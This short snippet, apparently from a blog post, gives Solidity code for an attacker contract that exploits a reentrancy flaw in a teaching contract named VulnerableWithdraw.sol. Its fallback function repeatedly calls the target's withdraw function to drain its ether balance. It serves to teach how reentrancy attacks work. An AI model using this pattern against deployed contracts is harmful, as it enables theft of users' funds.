How to attack the VulnerableWithdraw.sol example

AttackVulnerableWithdraw.sol

//this is called when Attackee sends Ether to this contract (Attacker)
fallback() external payable {
    if(address(contractToAttack).balance >= 1 ether) {
        contractToAttack.withdrawFromAttackee();
    }
}

function performAttack() external payable {
    require(msg.value >= 1 ether);
    contractToAttack.depositIntoAttackee{value: 1 ether}();
    contractToAttack.withdrawFromAttackee();
}

Used as an example in This Blog Post